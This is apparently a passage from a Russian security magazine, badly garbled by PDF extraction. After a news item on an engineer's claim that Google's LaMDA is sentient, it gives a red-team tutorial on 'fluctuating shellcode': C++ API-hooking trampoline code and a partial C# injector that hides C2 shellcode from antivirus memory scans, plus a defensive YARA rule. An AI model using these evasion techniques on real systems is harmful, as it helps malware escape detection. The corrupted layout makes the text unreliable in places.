 

 

 

 

 

 

 

 

 

 

 

В другом­ разговоре­

чат бот заявил: «Я думаю, что по своей­ сути я человек.

Даже если существую­

в виртуаль­

ном­

мире».

 

 

 

 

 

 

 

 

 

 

 

 

Ранее­ Лемуан­ , которому­ было поручено­ исследовать­

этичес­ кие­ проблемы­

ИИ (в частнос­

ти­ , использование­

LaMDA дискри­ мина­

цион­

ной­

или разжига­

­

ющей вражду­ лексики­

), заявил, что в Google к нему отнеслись с пренеб­ ­

режением­ и даже высмеяли­

, когда­ он выразил уверен­ ность­

в том, что LaMDA

развил­

«личнос­ тные­

черты­ ». После­ этого­ он обратил­ ся­

за консуль­ таци­

ей­

к экспертам­ по ИИ за предела­

ми­ Google, в том числе­ в правитель­

стве­

США,

и компания­

отправила­

его в оплачива­

емый­

отпуск за нарушение­

политики­

конфиден­

циаль­

нос­ ти­ .

 

 

Лемуан­

говорит, что

«Google часто­

поступа­ ет­ так

перед тем, как кого то уволить­ ».

В Google уже официаль­ но­ заявили­ , что Лемуан­ ошибает­ ся­ , а также­ про ­ комменти­ рова­ ли­ громкие­ выводы инженера­ :

««Некоторые­ участни­ ­ки ИИ сообщес­ ­тва рассмат­ ­рива­ют долгосроч­ ­ную возможность­ [появления­ ] разумного­ ИИ или AGI (Artificial general

intelligence, General AI), но нет смысла­ антропомор­ ­физиро­вать сегод-­ няшние разговор­ ­ные модели, которые не являются­ разумными­ . Эти системы­ имитиру­ ­ют типы обмена­ репликами­ , встречающиеся­ в мил-­

лионах предложений­ , и могут импровизи­ ­ровать на любую, самую фан-­ тастичес­ ­кую тему: если вы спросите­ , каково быть динозавром­

итак далее». »

Всвою очередь­ Лемуан­ объясня­ ­ет, что еще недавно­ LaMDA был малоизвес­ ­ тным проектом­ , «системой­ для создания­ чат ботов» и «своего­ рода кол ­ лективным­ разумом, который представ­ ­ляет собой агрегацию­ различных­

чат ботов». Он пишет, что Google не проявля­ ет­ интереса­ к пониманию­ при ­ роды того, что создала­ .

Теперь­ , судя по сообщения­ в Medium, Лемуан­ учит LaMDA «трансцен­ ­ дентальной­ медитации­ », а LaMDA отвечает­ , что пока медитации­ мешают­ его эмоции­ , которые ему еще сложно­ контро­ лиро­ вать­ .

Мелани­ Митчелл­ , автор книги­ «Artifcial Intelligence: A Guide for Thinking Humans», отмечает­ в Twitter:

««Общеизвес­ ­тно, что люди предраспо­ ­ложе­ны к антропомор­ ­физации даже на базе самых поверхностных­ сигналов­ . Инженеры­ Google тоже » люди, и у них нет иммуните­ ­та к этому­ ».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Хак группа­ Conti планиро­ ­вала использовать­ в атаках­ Intel Management Engine

Discord-сервер­ Bored Ape Yacht Club снова­ взломали­ . Украдены­ NFT на сумму­ 357 000 дол ­

ларов

В Италии­ запретили­ использовать­ Google Analytics

Разработ­ чики­ Kali Linux стримят­ на Twitch бесплат­ ный­ курс по пентесту­

Microsoft случай­ но­ распростра­ нила­ Windows 11 22H2 на неподдержи­ ваемые­ системы­ Интерпол­ арестовал­ 2000 мошенников­ и конфиско­ вал­ 50 миллионов­ долларов­ Расширения­ для Chrome можно­ использовать­ для слежки­ за пользовате­ лями­ Россий­ ские­ пользовате­ ли­ не могут скачать­ ПО с официаль­ ного­ сайта­ Microsoft

Иссле­ дова­ тель­ взломал­ бэкенд умных гидромас­ сажных­ ванн Jacuzzi

Google: шпионское­ ПО атакует­ пользовате­ лей­ iOS и Android при поддер­ жке­ интернет провай­ ­ деров

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ

ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ

snovvcrash

Безопасник, временами питонщик, местами криптоана(рхист)литик, по необходимости системный администратор snovvcrash@protonmail.ch

Сегод­ ня­ поговорим­ об одной из продвинутых­ техник­ укло ­ нения от средств защиты при использовании­ фреймвор­ ков­ Command & Control — динамичес­ ком­ сокрытии­ шелл кода в памяти ожидающе­ го­ процес­ са­ . Я соберу PoC из доступно­ ­ го на гитхабе­ кода и применю­ его к опенсор­ сным­ фреймвор­ ­ кам.

Если­ взглянуть­ на список­ фич, которыми­ хвастают­ ся­ все коммерчес­ кие­ фрей ­

мворки­ C2 стоимостью­ 100500 долларов­ в час (Cobalt Strike, Nighthawk, Brute Ratel C4), первой­ в этих списках­ значит­ ся­ , как правило­ , возможность­ укло ­ ниться­ от сканиро­ вания­ памяти запущенных­ процес­ сов­ на предмет­ наличия сигнатур­ агентов­ этих самых C2. Что, если попробовать­ воссоздать­ эту фун ­ кцию самостоятель­ но­ ? В статье я покажу, как я это сделал­ .

Итак, что же это за зверь такой, этот флуктуирующий­ шелл код?

ПРОБЛЕМАТИКА

В основном мой хлеб — это внутренние­ пентесты­ , а на внутренних­ пентестах­ бывает­ удобно­ (хотя и совсем­ не необходимо­ ) пользовать­ ­ся фреймвор­ ­ками C2. Представь­ , что ты разломал­ рабочую станцию­ пользовате­ ­ля, имеешь­

к ней админский­ доступ­ , но ворвать­ ся­ туда по RDP нельзя­ , ведь нарушать бизнес­ процес­ сы­ заказчика­ (то есть выбивать сотрудни­ ка­ из его сессии­ , где он усердно­ заполняет­ ячейки­ в очень важной­ накладной­ ) «западло­ ».

Одно­ из решений при работе в Linux — квазиин­ ­терак­тивные шеллы­ вроде­ smbexec.py, wmiexec.py, dcomexec.py, scshell.py и Evil-WinRM. Но, во первых­ ,

это чертов­ ски­ неудобно­ , во вторых­ , ты потенциаль­

но­ сталкива­

ешь­ ся­ с проб ­

лемой double-hop-аутентифика­

ции­

 

(как, например­

, с Evil-WinRM), а в третьих­

и далее — ты не можешь пользовать­

ся­ объективно­

полезными­

фичами C2,

как, например­

, исполнение­

.NET из памяти или поднятие­

прокси­ через ском ­

промети­

рован­

ную­ тачку­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если­ не рассмат­

ривать­

совсем­

уж инвазив­ ные­

подходы­

типа патчинга­

RDP

при помощи Mimikatz (AKA ts::multirdp), остается­

работа из агента­ С2.

 

 

 

 

 

 

И вот здесь ты столкнешь­

ся­ с проблемой­

байпаса­

средств защиты. Спойлер­ :

по моему опыту­ , в 2022-м при активности­ любого «увожаемо­

го­ » антивиру­

са­

или EDR на хосте­ твой агент C2, которого­ ты так долго­ пытался­ получить (и

все же получил, закрипто­

вав­ нагрузку­

мильён­ раз), проживет­

в лучшем­

случае­

не больше­ часа.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Всему­ виной банальное­

 

сканиро­

вание­

памяти запущенных­

процес­ сов­

антивиру­

сами­

, которое выполняет­

ся­ по расписанию­

с целью поиска­ сиг ­

натуры известных­

зловредов­

. Еще раз: получить­

агент с активным AV (и даже

немного­

из него поработать­ ) нетрудно­

; сделать­

так, чтобы­ этот агент прожил­

хотя бы сутки­ на машине жертве­ , бесценно­

уже сложнее­ , потому что,

как бы

 

ты

 

 

ни

криптовал­

 

и

ни

энкодил­

бинарь,

PowerShell-стейжер­

или шелл код агента­ , вредонос­

ные­

инструк­ ции­

все равно­ окажут­ ся­ в памяти

в открытом­

виде, из за чего станут­ легкой­

добычей для простого­

сигнатур­

­

ного сканера­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если­ тебя спалят­ с вредоно­ ­сом в системной­ памяти, который не подкреп­ ­лен подозритель­ ­ным бинарем на диске­ (например­ , когда­ имела­ место­ инъекция­ шелл кода в процесс­ ), тот же Kaspersky Endpoint Security при дефолтных­ нас ­ тройках­ не определит­ , какой именно­ процесс­ заражен, и в качестве­ решения настой­ ­чиво предложит­ тебе перезагрузить­ машину.

Да да, мы поняли

Такое­ поведение­ вызывает­ еще большее­ негодование­ у пентесте­ ра­ , потому что испуган­ ный­ пользователь­ сразу­ побежит жаловаться­ в IT или к безопас ­ никам.

Есть два пути решить эту проблему­ .

1.Исполь­ ­зовать C2-фреймвор­ ­ки, которые еще не успели­ намозолить­ глаза­ блютиме­ ­рам и чьи агенты­ еще не попали в список­ легкодетек­ ­тиру­емых. Другими­ словами­ , писать свое, искать малопопуляр­ ­ные решения на гит ­ хабе с учетом­ региональ­ ­ных особен­ ­ностей AV, который ты собрался­ бай ­ пасить, и тому подобное­ .

2.Прибег­ ­нуть к продвинутым­ техникам­ сокрытия­ индикато­ ­ров компро­ ­мета ­ ции после­ запуска­ агента­ C2. Например­ , подчищать­ аномалии­ памяти пос ­ ле запуска­ потоков, использовать­ связку­ «неисполня­ ­емая память + ROPгаджеты­ » для размещения­ агента­ и его функци­ ­они­рова­ния, шифровать­ нагрузку­ в памяти, когда­ взаимо­ ­дей­ствие с агентом­ не требует­ ­ся.

Вэтой статье мы на примере­ посмотрим­ , как вооружить­ простой­ PoC флук ­ туирующего­ шелл кода (комбинация­ пунктов­ из абзаца­ выше) для его исполь ­

зования с почти­ любым опенсор­ ­сным фреймвор­ ­ком C2. Но для начала небольшой­ экскурс в историю­ .

A LONG TIME AGO IN A GALAXY FAR, FAR AWAY...

Флипы памяти RX → RW / NA

Первым­ опенсор­ ­сным проектом­ , предлага­ ­ющим PoC-решение для уклонения­ от сканиро­ ­вания памяти, о котором я узнал, был gargoyle.

Если­ не углубляться­ в реализацию­ , его главная­ идея заключа­ ется­ в том, что полезная­ нагрузка­ (исполняемый­ код) размеща­ ется­ в неисполня­ емой­ области памяти (PAGE_READWRITE или PAGE_NOACCESS), которую не станет­ сканиро­ вать­ антивирус­ или EDR. Предваритель­ но­ загрузчик­ gargoyle фор ­ мирует­ специаль­ ный­ ROP-гаджет­ , который выстре­ лит­ по таймеру­ и изменит­ стек вызовов таким образом­ , чтобы­ верхушка­ стека­ оказалась­ на API-хендле­ VirtualProtectEx, — это позволит­ нам изменить­ маркиров­ ку­ защиты памяти на PAGE_EXECUTE_READ (то есть сделать­ память исполняемой­ ). Дальше­ полезная­ нагрузка­ отработа­ ет­ , снова­ передаст управление­ загрузчи­ ку­ gargoyle, и процесс­ повторит­ ся­ .

Механизм­ работы gargoyle (изображение­ — lospi.net)

Принцип­ работы gargoyle много­ раз дополнили­ , улучшили­ и «переизоб­ рели­ ». Вот несколь­ ко­ при ­ меров:

•Bypassing Memory Scanners with Cobalt Strike and Gargoyle

•Bypassing PESieve and Moneta (The “easy” way....?)

•A variant of Gargoyle for x64 to hide memory artifacts using ROP only and PIC

Также­ интерес­ ­ный подход­ продемонс­ ­три­рова­ли в F-Secure Labs, реализовав­ расширение­ Ninjasploit для Meterpreter, которое по косвенным­ признакам­ определя­ ­ет, что Windows Defender вот вот запустит­ процеду­ ­ру сканиро­ ­вания, и тогда­ «флипает­ » область памяти с агентом­ на неисполня­ ­емую прямо­ перед этим. Сейчас­ , скорее­ всего­ , это расширение­ уже не «взлетит­ », так как и Meterpreter, и «Дефендер­ » обновились­ не по одному­ разу, но идея все равно­ показатель­ ­на.

Из этого­ пункта­ мы заберем с собой главную­ идею: изменение­ маркиров­ ­ ки защиты памяти помогает­ скрыть факт ее заражения­ .

Вот что на самом деле происхо­ дит­ под капотом этой техники­

Cobalt Strike: Obfuscate and Sleep

В далеком 2018 году вышла­ версия­ 3.12 культовой­ C2-платформы­ Cobalt

Strike. Релиз назывался­ «Blink and you’ll miss it», что как бы намекает­ на глав ­

ную фичу новой версии­ — директиву­

sleep_mask, в которой реализова­

на­ кон ­

цепция obfuscate-and-sleep.

 

 

 

 

 

 

 

 

 

 

Эта концепция­

включает­

в себя следующий­

алгоритм­

поведения­ бикона:

1. Если­ маячок «спит», то есть бездей­

ству­ ет­ , выполняя­

kernel32!Sleep

и ожидая­ команды­ от операто­

ра­ , содержимое­

исполняемо­ го­ (RWX) сег ­

мента памяти полезной­ нагрузки­

обфусцирует­ ся­ . Это мешает­ сигнатур­

ным­

сканерам­

распознать­

в

нем

Behavior:Win32/CobaltStrike

или похожую бяку.

 

 

 

 

 

 

 

 

 

 

 

2.Если­ маячку­ поступа­ ­ет на исполнение­ следующая­ команда­ из очереди­ , содержимое­ исполняемо­ ­го сегмента­ памяти полезной­ нагрузки­ деоб ­ фусцирует­ ­ся, команда­ выполняет­ ­ся, и подозритель­ ­ное содержимое­ маяка обратно обфусцирует­ ­ся, превраща­ ­ясь в неразборчи­ ­вый цифровой­ мусор на радость операто­ ­ру «Кобы» и назло­ бдящему­ антивиру­ ­су.

Эти действия­ проходят­ прозрачно­ для операто­ ­ра, а процесс­ обфускации­ представ­ ­ляет собой обычный­ XOR по исполняемой­ области памяти с фик ­ сированным­ размером­ ключа­ 13 байт (для версий­ CS от 3.12 до 4.3).

Продемонс­ ­три­руем это на примере­ . Я возьму­ этот профиль­ для CS, написанный­ @an0n_r0 как PoC минимально­ необходимо­ ­го профиля­ Malleable C2 для обхода­ «Дефендера­ ». Опция set sleep_mask "true" активиру­ ­ет процесс­ obfuscate-and-sleep.

Получи­ ли­ маячок

Далее­ с помощью Process Hacker найдем­ в бинаре «Кобы» сегмент­ RWXпамяти (при заданных­ настрой­ ках­ профиля­ он будет один) и посмотрим­ его содержимое­ .

Цифровой­ мусор или?..

На первый­ взгляд, и правда­ , выглядит­ как ничего не значащий­ набор байтов­ . Но если установить­ интерак­ тивный­ режим маячка­ командой­ sleep 0 и «пок ­ лацать» несколь­ ко­ раз на Re-read в PH, нам откроется­ истина­ .

Маски­ прочь!

Деобфусци­ рован­ ная­ нагрузка­ маячка­

Возможно­ , это содержимое­ все еще не очень информатив­ но­ (сама нагрузка­ чуть дальше­ в памяти стаба­ ), но, если пересоздать­ бикон без использования­ профиля­ , можно­ увидеть­ сердце­ маячка­ в чистом­ виде.

PURE EVIL

Однако­ на любое действие­ есть противо­ дей­ ствие­ (или наоборот­ ), поэтому­ люди из Elastic, недолго­ думая, запили­ ли­ YARA-правило­ для обнаруже­ ния­ повторя­ ющих­ ся­ паттернов­ , «заксорен­ ных­ » на одном и том же ключе­ :

rule cobaltstrike_beacon_4_2_decrypt

{

meta:

author = "Elastic"

description = "Identifies deobfuscation routine used in Cobalt

Strike Beacon DLL version 4.2."

strings:

$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9

75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}

$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85

C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}

condition:

any of them

}

В следующих­ актах этой оперы­ началась классичес­ кая­ игра в кошки­ мышки­ между­ нападающи­ ми­ и защищающи­ мися­ . В HelpSystems выпус­ тили­ отдель ­ ный Sleep Mask Kit для того, чтобы­ оператор­ мог изменять­ длину­ маски­ самостоятель­ но­ , но это уже совсем­ другая­ история­ .

В статье Sleeping with a Mask On можно­ увидеть­ , как модификация­ длины­ ключа­ XOR влияет­ на детектирова­ ние­ пейлоада­ CS в памяти.

Но довольно­ истории­ ,

пора подумать, как сделать­

эту технику­

«ближе­

к народу», и реализовать­

подобное­ в опенсор­ сном­

инстру­ мен­ тарии­

.

 

Продолжение статьи0 →

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

COVERSTORY

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

←

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ

ФЛУКТУАЦИЯ ШЕЛЛ-КОДА НА GITHUB

 

 

 

 

 

 

 

 

 

 

 

 

 

Два невероятно­

крутых­ проекта­

на просторах­

GitHub, которые еще давно­

привлекли­

мое внимание­

, — это SleepyCrypt авторства­ @SolomonSklash (идет

 

 

 

 

 

 

 

 

 

 

 

 

вместе­ с пояснитель­

ной­

запиской­ ) и ShellcodeFluctuation, созданный­

 

 

 

 

 

 

 

@mariuszbit, у которого­ я позаимс­ тво­ вал­ название­

для этой статьи. Ни в коем

 

 

 

 

случае­

не претен­ дую­

на авторство­ , просто­ мне кажется­ , что слова­ «флук ­

туирующий шелл код» отлично годятся­ для наименова­

ния­

этого­ семейства­

техник­ в целом.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SleepyCrypt — это PoC, который можно­ вооружить­

при создании­

собствен­ ­

ного C2-фреймвор­

ка­ (на выходе имеем­ позиционно­

независимый­

шелл код,

сам себя шифрующий­

и расшифро­

выва­

ющий­

),

а ShellcodeFluctuation

—

«самодостаточ­

ный­ » инжектор, который можно­ использовать­

с готовым

шелл кодом существу­ юще­

го­ C2. К последне­

му­

мы будем

стремить­

ся­

при написании­

чего то подобного­

на С#, а пока разберем­

, как устроен­

ShellcodeFluctuation.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ShellcodeFluctuation

Самое­ важное­ для нас — понять, как реализует­ ­ся перехват­ управления­ обыч ­ ным Sleep (который kernel32!Sleep) и переопре­ ­деля­ется его поведение­

на «шифровать­ , поспать­ , расшифро­ вать­ ». Как ты уже мог понять, мы будем говорить об основах­ техники­ Inline API Hooking (MITRE ATT&CK T1617).

Хороший­ базовый пример­ реализации­ хукинга­ (как и многих­ других­ техник­ малдева­ ) есть на Red Teaming Experiments, но мы разберем­ упрощен­ ­ный при ­ мер на основе­ самого ShellcodeFluctuation, чтобы­ быть готовым к его пор ­ тированию­ на C#. Вместо­ Sleep пока будем хукать функцию­ kernel32! MessageBoxA для более наглядной­ демонстра­ ­ции результата­ .

В сущности­ , нас интересу­ ­ют две функции­ , ответствен­ ­ные за перехват­

MessageBoxA.

fastTrampoline

Функция­ fastTrampoline выполняет­ запись ассемблер­ ных­ инструк­ ций­ (име ­ нуемых «трампли­ ном­ ») по адресу­ расположе­ ния­ функции­ MessageBoxA биб ­ лиотеки­ kernel32.dll. Она уже загружена­ в память целевого­ процес­ са­ , куда будет внедрен­ шелл код (в нашем случае­ мы ориенти­ руем­ ся­ на self-инъ ­ екцию, поэтому­ патчить­ kernel32.dll будем в текущем процес­ се­ ). При установ­ ­ ке хука инжектор перезаписы­ вает­ начало инструк­ ций­ MessageBoxA трампли­ ­ ном, содержащим­ безусловный­ «джамп» на нашу собствен­ ную­ реализацию­ MessageBoxA (MyMessageBoxA). Во время­ снятия­ хука (за это тоже ответствен­ ­ на функция­ fastTrampoline) трамплин­ перезаписы­ вает­ ся­ оригиналь­ ными­ байтами­ из начала функции­ MessageBoxA, которые предваритель­ но­ были сох ­ ранены во времен­ ный­ буфер.

Содер­ ­жимое трампли­ ­на — это две простые­ ассемблер­ ­ные инструк­ ­ции (записать адрес переопре­ ­делен­ной функции­ в регистр и выполнить­ jmp), ассембли­ ­рован­ные в машинный­ код и записанные­ в массив­ байтов­ в фор ­

мате little-endian.

Резуль­ ­тат сборки­ с defuse.ca:

0

{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 0xFF, 0xE2 }

0

Disassembly:

0

0:49 ba 37 13 d3 c0 4d movabs r10,0x1337d34dc0d313370

7:d3 37 130

a: 41 ff e2

jmp

r10

0

 

 

Авот и сам код:

//https://github.com/mgeeky/ShellcodeFluctuation/blob/

cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main. cpp#L178-L262

bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)

{

//Шаблон нашего трамплина с 8 нулевыми байтами, выполняющими роль заглушки под джамп-адрес

uint8_t trampoline[] = {

0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

//mov r10, addr

0x41, 0xFF, 0xE2

// jmp r10

};

// Патчим трамплин байтами джамп-адреса

uint64_t addr = (uint64_t)(jumpAddress);

memcpy(&trampoline[2], &addr, sizeof(addr));

DWORD dwSize = sizeof(trampoline);

DWORD oldProt = 0;

bool output = false;

if (installHook) // если в режиме установки хука

{

if (buffers != NULL)

// Сохраняем во временный буфер то, что мы собираемся

перезаписать трамплином

memcpy(buffers->previousBytes, addressToHook, buffers->

previousBytesSize);

// Разрешаем себе изменять память по addressToHook

if (::VirtualProtect(

addressToHook,

dwSize,

PAGE_EXECUTE_READWRITE,

&oldProt))

{

//Устанавливаем наш хук (просто копируем его содержимое

внужное место)

memcpy(addressToHook, trampoline, dwSize);

output = true;

}

}

else // если в режиме снятия хука

{

dwSize = buffers->originalBytesSize;

// Также разрешаем себе изменять память по addressToHook

if (::VirtualProtect(

addressToHook,

dwSize,

PAGE_EXECUTE_READWRITE,

&oldProt))

{

// Восстанавливаем то, что было там изначально (до

записи трамплина)

memcpy(addressToHook, buffers->originalBytes, dwSize);

output = true;

}

}

// Возвращаем маркировку защиты памяти в первоначальное состояние

::VirtualProtect(

addressToHook,

dwSize,

oldProt,

&oldProt

);

return output;

}

MyMessageBoxA

MyMessageBoxA — наша функция­ , переопре­ ­деля­ющая поведение­ оригиналь­ ­ ного MessageBoxA, адрес которой будет записан в шаблон­ трампли­ ­на и на которую мы «прыгнем­ » при легитимном­ вызове MessageBoxA.

Вкачестве­ демонстра­ ­ции мы вызовем MessageBoxA с одним сообщени­ ­ем,

амодальное­ окно отрисует­ совсем­ другое­ .

//https://github.com/mgeeky/ShellcodeFluctuation/blob/

cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main. cpp#L11-L65

void WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)

{

HookTrampolineBuffers buffers = { 0 }; buffers.originalBytes = g_hookedMessageBoxA.msgboxStub;

buffers.originalBytesSize = sizeof(g_hookedMessageBoxA.msgboxStub

);

//Снимаем хук, чтобы далее вызвать оригинальную функцию

MessageBoxA

fastTrampoline(false, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA , &buffers);

::MessageBoxA(NULL, "You've been pwned!", "][AKEP", MB_OK);

// Снова вешаем хук

fastTrampoline(true, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA,

NULL);

}

Результат

Полагаю­ , что здесь все ясно без лишних­ объясне­ ­ний.

API Hooking функции­ MessageBoxA

ПИЛИМ СВОЙ ФЛУКТУАТОР НА С#

Идея реализации­ этой техники­ на C# пришла­ ко мне после­ твита­

@_RastaMouse, где он использовал­ библиоте­ ку­ MinHook.NET для PoC-флук ­

туатора­ .

PoC от @_RastaMouse (изображение­ — twitter.com)

Что ж, мы можем попробовать­ сделать­ что то подобное­ , но без тяжеловес­ ной­ зависимос­ ти­ в виде MinHook.NET, которую не хотелось бы включать­

в инжектор. Так как я планирую­ запускать­ финальный­ код из памяти через PowerShell, лишнее­ беспокой­ ство­ AMSI вызывать ни к чему.

Объяснять­ , как ты писал код, в тексте­ статьи всегда­ непросто­ , поэтому­ поступим­ так: сперва­ наметим такой же каркас­ программы­ , как на скриншоте­ выше, а затем реализуем­ недостающую­ логику.

Прототипирование

Итак, вот что я получил в качестве­ схематич­ ­ного наброска­ кода:

using System;

using System.IO;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Threading;

namespace FluctuateInjector

{

class Program

{

// Классическая инъекция шелл-кода в текущий процесс

static void Main(string[] args)

{

var shellcodeBytes = File.ReadAllBytes(@"C:\Users\

snovvcrash\Desktop\dllSleep.bin");

var shellcodeLength = shellcodeBytes.Length;

// Выделяем область памяти в адресном пространстве

текущего процесса инжектора (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40

= PAGE_EXECUTE_READWRITE)

var shellcodeAddress = Win32.VirtualAlloc(IntPtr.Zero, (

IntPtr)shellcodeLength, 0x3000, 0x04);

// и копируем туда байты шелл-кода

Marshal.Copy(shellcodeBytes, 0, shellcodeAddress,

shellcodeLength);

// Репротект памяти после записи шелл-кода (0x20 =

PAGE_EXECUTE_READ)

Win32.VirtualProtect(shellcodeAddress, (uint)

shellcodeLength, 0x20, out _);

// Хукаем Sleep

var fs = new FluctuateShellcode(shellcodeAddress,

shellcodeLength);

fs.EnableHook();

// Начинаем исполнение шелл-кода созданием нового потока

var hThread = Win32.CreateThread(IntPtr.Zero, 0,

shellcodeAddress, IntPtr.Zero, 0, IntPtr.Zero);

Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);

// Снимаем хук

fs.DisableHook();

}

}

class FluctuateShellcode

{

delegate void Sleep(uint dwMilliseconds);

readonly Sleep sleepOrig;

readonly GCHandle gchSleepDetour;

readonly IntPtr sleepOriginAddress, sleepDetourAddress;

readonly byte[] sleepOriginBytes = new byte[16],

sleepDetourBytes;

readonly byte[] trampoline =

{

0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, // mov r10, addr

0x41, 0xFF, 0xE2

// jmp r10

};

readonly IntPtr shellcodeAddress;

readonly int shellcodeLength;

readonly byte[] xorKey;

public FluctuateShellcode(IntPtr shellcodeAddr, int

shellcodeLen)

{ }

~FluctuateShellcode()

{ }

// Наш переопределенный Sleep

void SleepDetour(uint dwMilliseconds)

{ }

// Установка хука

public bool EnableHook()

{ }

// Снятие хука

public bool DisableHook()

{ }

//Функция, отвечающая за флипы памяти на RW/NA void ProtectMemory(uint newProtect)

{ }

//Обфускация памяти шелл-кода простым XOR-шифрованием void XorMemory()

{ }

//Генерация ключа для XOR-шифрования

byte[] GenerateXorKey()

{ }

}

// Необходимый набор Win32 API

class Win32

{

[DllImport("kernel32")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress,

IntPtr dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern bool VirtualProtect(IntPtr lpAddress,

uint dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr

lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr

lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]

public static extern UInt32 WaitForSingleObject(IntPtr

hHandle, UInt32 dwMilliseconds);

[DllImport("kernel32")]

public static extern IntPtr GetProcAddress(IntPtr hModule,

string procName);

[DllImport("kernel32")]

public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32.dll")]

public static extern bool FlushInstructionCache(IntPtr

hProcess, IntPtr lpBaseAddress, uint dwSize);

}

}

Вроде­ пока все более менее прозрачно­

. Единствен­

ное­ , что надо уточнить­

, —

это какой шелл код мы возьмем­

для тестирова­

ния­ .

 

 

 

 

 

Все просто­ : скомпилиру­

ем­

DLL из дефолтных­

пресетов­

Visual Studio

с единствен­

ной­

выполняемой­

операци­

ей­ — Sleep на 5 с — и превратим­

ее

в шелл код.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sRDI

